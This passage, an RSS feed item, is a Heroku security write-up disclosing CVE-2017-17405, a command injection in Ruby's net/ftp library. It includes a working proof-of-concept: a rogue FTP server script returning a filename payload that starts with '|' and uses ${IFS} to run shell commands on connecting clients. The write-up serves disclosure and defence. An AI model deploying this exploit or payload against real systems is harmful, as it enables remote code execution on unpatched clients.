<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Etienne Stalmans</title>
    <description>The latest articles on DEV Community by Etienne Stalmans (@staaldraad).</description>
    <link>https://dev.to/staaldraad</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F61533%2Fa8bff6bc-965e-4df4-bd52-324b980eab4c.jpeg</url>
      <title>DEV Community: Etienne Stalmans</title>
      <link>https://dev.to/staaldraad</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/staaldraad"/>
    <language>en</language>
    <item>
      <title>A Dive into Ruby CVE-2017-17405: Identifying a Vulnerability in Ruby’s FTP Implementation</title>
      <dc:creator>Etienne Stalmans</dc:creator>
      <pubDate>Fri, 06 Apr 2018 16:27:54 +0000</pubDate>
      <link>https://dev.to/heroku/a-dive-into-ruby-cve-2017-17405-identifying-a-vulnerability-in-rubys-ftp-implementation-1m11</link>
      <guid>https://dev.to/heroku/a-dive-into-ruby-cve-2017-17405-identifying-a-vulnerability-in-rubys-ftp-implementation-1m11</guid>
      <description>&lt;p&gt;At Heroku we consistently monitor vulnerability feeds for new issues. Once a new vulnerability drops, we jump into action to triage and determine how our platform and customers may be affected. Part of this process involves evaluating possible attack scenarios not included in the original vulnerability report. We also spend time looking for "adjacent" and similar bugs in other products. The following Ruby vulnerability was identified during this process.&lt;/p&gt;

&lt;h2&gt;
  
  
  Vulnerability Triage
&lt;/h2&gt;

&lt;p&gt;A vulnerability, &lt;a href="https://curl.haxx.se/docs/adv_2017-ae72.html" rel="noopener noreferrer"&gt;CVE-2017-8817&lt;/a&gt;, was identified in &lt;code&gt;libcurl&lt;/code&gt;. The FTP function contained an out of bounds read when processing wildcards. As soon as the vulnerability was made public, we went through our various systems to determine how they are affected and to initiate the patching process. Direct &lt;code&gt;libcurl&lt;/code&gt; usage inside Heroku´s systems were identified and marked for patching. Once we were confident that all instances were flagged, we started looking into other libraries that might have a similar issue. On a hunch, and because a large number of our customers make use of Ruby, we decided to look at Ruby's FTP implementation. Our approach was twofold, first to determine if Ruby uses &lt;code&gt;libcurl&lt;/code&gt; for its FTP functions, and if so, could this vulnerability be triggered in a Ruby application. And second, to determine if Ruby had a custom FTP implementation, whether this also allowed FTP wildcards and, if so, if vulnerabilities also existed in this implementation.&lt;/p&gt;

&lt;p&gt;To do our investigation we downloaded the latest source code for Ruby, at the time version 2.4.2, and did a quick &lt;code&gt;grep&lt;/code&gt; for any mention of FTP.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$ grep -i ftp -R *

ChangeLog:net/ftp: add a new option ssl_handshake_timeout to Net::FTP.new.
ChangeLog:net/ftp: close the socket directly when an error occurs during TLS handshake.
ChangeLog:Otherwise, @sock.read in Net::FTP#close hungs until read_timeout exceeded.
ChangeLog:net/ftp: close the connection if the TLS handshake timeout is exceeded.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;It turns out Ruby has its own FTP library and this is packaged as &lt;em&gt;net/ftp&lt;/em&gt;. We started looking into the &lt;em&gt;lib/net&lt;/em&gt; folder, half expecting a custom C implementation of FTP. Turns out there is a solitary &lt;em&gt;ftp.rb&lt;/em&gt; file, and it only weighed in at 1496 lines of code.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Vulnerability
&lt;/h2&gt;

&lt;p&gt;While reading through the code in &lt;em&gt;ftp.rb&lt;/em&gt; there were a few of the usual suspects to look out for:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;command&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;%x/command/&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;IO.popen(command)&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Kernel.exec&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Kernel.system&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;Kernel.open("| command")&lt;/code&gt; and &lt;code&gt;open("| command")&lt;/code&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;All of the above functions are common vectors to gain &lt;a href="https://www.owasp.org/index.php/Ruby_on_Rails_Cheatsheet#Command_Injection" rel="noopener noreferrer"&gt;Remote Code Execution (RCE)&lt;/a&gt; in Ruby applications, and are thus one of the first things to look for during code analysis. It didn't take long to identify a few locations where the &lt;code&gt;open&lt;/code&gt; function was being used to access files for reading and writing.&lt;/p&gt;

&lt;p&gt;Looking at the &lt;code&gt;gettextfile&lt;/code&gt; function, we could see a call to &lt;code&gt;open&lt;/code&gt; using what appeared to be user controlled data:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight ruby"&gt;&lt;code&gt;&lt;span class="mi"&gt;778&lt;/span&gt;     &lt;span class="c1"&gt;#&lt;/span&gt;
&lt;span class="mi"&gt;779&lt;/span&gt;     &lt;span class="c1"&gt;# Retrieves +remotefile+ in ASCII (text) mode, storing the result in&lt;/span&gt;
&lt;span class="mi"&gt;780&lt;/span&gt;     &lt;span class="c1"&gt;# +localfile+.&lt;/span&gt;
&lt;span class="mi"&gt;781&lt;/span&gt;     &lt;span class="c1"&gt;# If +localfile+ is nil, returns retrieved data.&lt;/span&gt;
&lt;span class="mi"&gt;782&lt;/span&gt;     &lt;span class="c1"&gt;# If a block is supplied, it is passed the retrieved data one&lt;/span&gt;
&lt;span class="mi"&gt;783&lt;/span&gt;     &lt;span class="c1"&gt;# line at a time.&lt;/span&gt;
&lt;span class="mi"&gt;784&lt;/span&gt;     &lt;span class="c1"&gt;#&lt;/span&gt;
&lt;span class="mi"&gt;785&lt;/span&gt;     &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;gettextfile&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;remotefile&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;localfile&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="no"&gt;File&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;basename&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;remotefile&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
&lt;span class="mi"&gt;786&lt;/span&gt;                     &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;block&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="c1"&gt;# :yield: line&lt;/span&gt;
&lt;span class="mi"&gt;787&lt;/span&gt;       &lt;span class="n"&gt;f&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kp"&gt;nil&lt;/span&gt;
&lt;span class="mi"&gt;788&lt;/span&gt;       &lt;span class="n"&gt;result&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kp"&gt;nil&lt;/span&gt;
&lt;span class="mi"&gt;789&lt;/span&gt;       &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;localfile&lt;/span&gt;
&lt;span class="mi"&gt;790&lt;/span&gt;         &lt;span class="n"&gt;f&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;localfile&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;"w"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="mi"&gt;791&lt;/span&gt;       &lt;span class="k"&gt;elsif&lt;/span&gt; &lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nb"&gt;block_given?&lt;/span&gt;
&lt;span class="mi"&gt;792&lt;/span&gt;         &lt;span class="n"&gt;result&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="no"&gt;String&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;new&lt;/span&gt;
&lt;span class="mi"&gt;793&lt;/span&gt;       &lt;span class="k"&gt;end&lt;/span&gt;
&lt;span class="mi"&gt;794&lt;/span&gt;       &lt;span class="k"&gt;begin&lt;/span&gt;
&lt;span class="mi"&gt;795&lt;/span&gt;         &lt;span class="n"&gt;retrlines&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"RETR &lt;/span&gt;&lt;span class="si"&gt;#{&lt;/span&gt;&lt;span class="n"&gt;remotefile&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="n"&gt;line&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;newline&lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="mi"&gt;796&lt;/span&gt;           &lt;span class="n"&gt;l&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;newline&lt;/span&gt; &lt;span class="p"&gt;?&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt;
&lt;span class="mi"&gt;797&lt;/span&gt;           &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;l&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="mi"&gt;798&lt;/span&gt;           &lt;span class="n"&gt;block&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;.&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;line&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;newline&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="mi"&gt;799&lt;/span&gt;           &lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;concat&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;l&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="mi"&gt;800&lt;/span&gt;         &lt;span class="k"&gt;end&lt;/span&gt;
&lt;span class="mi"&gt;801&lt;/span&gt;         &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;result&lt;/span&gt;
&lt;span class="mi"&gt;802&lt;/span&gt;       &lt;span class="k"&gt;ensure&lt;/span&gt;
&lt;span class="mi"&gt;803&lt;/span&gt;         &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;close&lt;/span&gt;
&lt;span class="mi"&gt;804&lt;/span&gt;       &lt;span class="k"&gt;end&lt;/span&gt;
&lt;span class="mi"&gt;805&lt;/span&gt;     &lt;span class="k"&gt;end&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;code&gt;localfile&lt;/code&gt; value would trigger command execution if the value was &lt;code&gt;| os command&lt;/code&gt;. In general use, most users would likely provide their own &lt;code&gt;localfile&lt;/code&gt; value and would not rely on the default of &lt;code&gt;File.basename(remotefile)&lt;/code&gt; however, in some situations, such as listing and downloading all files in a FTP share, the &lt;code&gt;remotefile&lt;/code&gt; value would be controlled by the remote host and could thus be manipulated into causing RCE. Since the file path is simply a string returned by the server (either &lt;code&gt;ls -l&lt;/code&gt; style for the &lt;code&gt;LIST&lt;/code&gt; command, or filenames for &lt;code&gt;NLIST&lt;/code&gt;), there is no guarantee that filename will be a valid filename.&lt;/p&gt;

&lt;h2&gt;
  
  
  PoC
&lt;/h2&gt;

&lt;p&gt;We wrote a basic Ruby client that we could use to test the vulnerability. This client simply connects to a server, requests a list of files, and then tries to download all the files.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight ruby"&gt;&lt;code&gt;&lt;span class="nb"&gt;require&lt;/span&gt; &lt;span class="s1"&gt;'net/ftp'&lt;/span&gt;
&lt;span class="n"&gt;host&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;'172.17.0.4'&lt;/span&gt;
&lt;span class="n"&gt;port&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;2121&lt;/span&gt;

&lt;span class="no"&gt;Net&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="no"&gt;FTP&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;const_set&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'FTP_PORT'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;port&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="no"&gt;Net&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="no"&gt;FTP&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;host&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="n"&gt;ftp&lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;
 &lt;span class="n"&gt;ftp&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;login&lt;/span&gt;
 &lt;span class="n"&gt;fileList&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;ftp&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;nlst&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'*'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
 &lt;span class="n"&gt;fileList&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;each&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="n"&gt;file&lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;
       &lt;span class="n"&gt;ftp&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;gettextfile&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;file&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
 &lt;span class="k"&gt;end&lt;/span&gt;
&lt;span class="k"&gt;end&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Our server would need to respond to the &lt;code&gt;NLIST&lt;/code&gt; command with a filename containing our command to executed. Since no validation or sanitization is done on the supplied filename, it would simply be passed straight to the &lt;code&gt;open&lt;/code&gt; function and our command would execute. The only caveat being that our &lt;em&gt;"filename"&lt;/em&gt; needs to start with &lt;code&gt;|&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;The PoC server code is not the best Ruby code you will ever see, but it was good enough to trigger the vulnerability and provide us with RCE. The server needs to simulate the &lt;em&gt;handshake&lt;/em&gt; of an FTP connection. This fools the client into thinking it is connecting to a real FTP server and does the bare minimum to get the client to request a list of files.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight ruby"&gt;&lt;code&gt;&lt;span class="nb"&gt;require&lt;/span&gt; &lt;span class="s1"&gt;'socket'&lt;/span&gt;
&lt;span class="n"&gt;host&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;'172.17.0.4'&lt;/span&gt;
&lt;span class="n"&gt;port&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;2121&lt;/span&gt;
&lt;span class="n"&gt;hostsplit&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;host&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;tr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'.'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="s1"&gt;','&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="n"&gt;server&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="no"&gt;TCPServer&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;new&lt;/span&gt; &lt;span class="n"&gt;port&lt;/span&gt;

&lt;span class="kp"&gt;loop&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt;
 &lt;span class="no"&gt;Thread&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;start&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;server&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;accept&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="n"&gt;client&lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;
   &lt;span class="n"&gt;client&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;puts&lt;/span&gt; &lt;span class="s2"&gt;"220 Attack FTP&lt;/span&gt;&lt;span class="se"&gt;\r\n&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
   &lt;span class="n"&gt;r&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;client&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;gets&lt;/span&gt;
   &lt;span class="nb"&gt;puts&lt;/span&gt; &lt;span class="n"&gt;r&lt;/span&gt;
   &lt;span class="n"&gt;client&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;puts&lt;/span&gt; &lt;span class="s2"&gt;"331 password please - version check&lt;/span&gt;&lt;span class="se"&gt;\r\n&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
   &lt;span class="n"&gt;r&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;client&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;gets&lt;/span&gt;
   &lt;span class="nb"&gt;puts&lt;/span&gt; &lt;span class="n"&gt;r&lt;/span&gt;
   &lt;span class="n"&gt;client&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;puts&lt;/span&gt; &lt;span class="s2"&gt;"230 User logged in&lt;/span&gt;&lt;span class="se"&gt;\r\n&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
   &lt;span class="n"&gt;r&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;client&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;gets&lt;/span&gt;
   &lt;span class="nb"&gt;puts&lt;/span&gt; &lt;span class="n"&gt;r&lt;/span&gt;
   &lt;span class="n"&gt;client&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;puts&lt;/span&gt; &lt;span class="s2"&gt;"230 more data please!&lt;/span&gt;&lt;span class="se"&gt;\r\n&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
   &lt;span class="n"&gt;r&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;client&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;gets&lt;/span&gt;
   &lt;span class="nb"&gt;puts&lt;/span&gt; &lt;span class="n"&gt;r&lt;/span&gt;
   &lt;span class="n"&gt;client&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;puts&lt;/span&gt; &lt;span class="s2"&gt;"230 more data please!&lt;/span&gt;&lt;span class="se"&gt;\r\n&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
   &lt;span class="n"&gt;r&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;client&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;gets&lt;/span&gt;
   &lt;span class="nb"&gt;puts&lt;/span&gt; &lt;span class="n"&gt;r&lt;/span&gt;
   &lt;span class="n"&gt;wait&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kp"&gt;true&lt;/span&gt;
   &lt;span class="n"&gt;psv&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="no"&gt;Thread&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;new&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt;
       &lt;span class="n"&gt;pserver&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="no"&gt;TCPServer&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;new&lt;/span&gt; &lt;span class="mi"&gt;23461&lt;/span&gt;
       &lt;span class="no"&gt;Thread&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;start&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pserver&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;accept&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="n"&gt;pclient&lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;
           &lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="n"&gt;wait&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt;
           &lt;span class="k"&gt;end&lt;/span&gt;
           &lt;span class="n"&gt;pclient&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;puts&lt;/span&gt; &lt;span class="s2"&gt;"|echo${IFS}$(id)${IFS}&amp;gt;pang&lt;/span&gt;&lt;span class="se"&gt;\r\n&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
           &lt;span class="n"&gt;pclient&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;close&lt;/span&gt;
       &lt;span class="k"&gt;end&lt;/span&gt;
   &lt;span class="k"&gt;end&lt;/span&gt;

   &lt;span class="nb"&gt;sleep&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;

   &lt;span class="n"&gt;client&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;puts&lt;/span&gt; &lt;span class="s2"&gt;"227 Entering Passive Mode ("&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;hostsplit&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="s2"&gt;",91,165)&lt;/span&gt;&lt;span class="se"&gt;\r\n&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
   &lt;span class="n"&gt;r&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;client&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;gets&lt;/span&gt;
   &lt;span class="nb"&gt;puts&lt;/span&gt; &lt;span class="n"&gt;r&lt;/span&gt;

   &lt;span class="n"&gt;psv&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;join&lt;/span&gt;

   &lt;span class="n"&gt;client&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;puts&lt;/span&gt; &lt;span class="s2"&gt;"150 Here comes the directory listing.&lt;/span&gt;&lt;span class="se"&gt;\r\n&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
   &lt;span class="n"&gt;wait&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kp"&gt;false&lt;/span&gt;

   &lt;span class="n"&gt;client&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;puts&lt;/span&gt; &lt;span class="s2"&gt;"226 Directory send OK.&lt;/span&gt;&lt;span class="se"&gt;\r\n&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
   &lt;span class="n"&gt;r&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;client&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;gets&lt;/span&gt;
   &lt;span class="nb"&gt;puts&lt;/span&gt; &lt;span class="n"&gt;r&lt;/span&gt;
   &lt;span class="n"&gt;client&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;puts&lt;/span&gt; &lt;span class="s2"&gt;"221 goodbye&lt;/span&gt;&lt;span class="se"&gt;\r\n&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
   &lt;span class="n"&gt;client&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;close&lt;/span&gt;
 &lt;span class="k"&gt;end&lt;/span&gt;
&lt;span class="k"&gt;end&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The actual exploit happens when we supply the &lt;code&gt;filelist&lt;/code&gt;, with &lt;code&gt;pclient.puts "|echo${IFS}$(id)${IFS}&amp;gt;pang\r\n"&lt;/code&gt;, which will result in &lt;code&gt;echo $(id) &amp;gt; pang&lt;/code&gt; being run on the connecting client. If our exploitation is successful, we would see a new file created on the client, containing the output of the &lt;code&gt;id&lt;/code&gt; command. Although not strictly necessary, we "encoded" the space using &lt;code&gt;${IFS}&lt;/code&gt;, which is a special shell variable called the Internal Field Separator. This is useful in cases where spaces cause issues in your payloads.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fxmqrlw4a7g8lwnc4mw0h.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fxmqrlw4a7g8lwnc4mw0h.png" alt="rubyCVEscreenshot" width="800" height="566"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Report and Fix
&lt;/h2&gt;

&lt;p&gt;We reported the vulnerability to the Ruby team shortly after discovery. The response was excellent and the bug was fixed within hours.&lt;/p&gt;

&lt;p&gt;The Ruby team simply replaced the &lt;code&gt;open&lt;/code&gt; function with the &lt;code&gt;File.open&lt;/code&gt; function, which is not vulnerable to command injection.&lt;/p&gt;

&lt;p&gt;The fix was included in the stable release of Ruby, &lt;a href="https://www.ruby-lang.org/en/news/2017/12/14/ruby-2-4-3-released/" rel="noopener noreferrer"&gt;version 2.4.3&lt;/a&gt;. We were also assigned &lt;a href="https://www.ruby-lang.org/en/news/2017/12/14/net-ftp-command-injection-cve-2017-17405/" rel="noopener noreferrer"&gt;CVE-2017-17405&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;The following versions of Ruby are all affected by this vulnerability:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Ruby 2.2 series: 2.2.8 and earlier&lt;/li&gt;
&lt;li&gt;Ruby 2.3 series: 2.3.5 and earlier&lt;/li&gt;
&lt;li&gt;Ruby 2.4 series: 2.4.2 and earlier&lt;/li&gt;
&lt;li&gt;Ruby 2.5 series: 2.5.0-preview1&lt;/li&gt;
&lt;li&gt;prior to trunk revision r61242&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

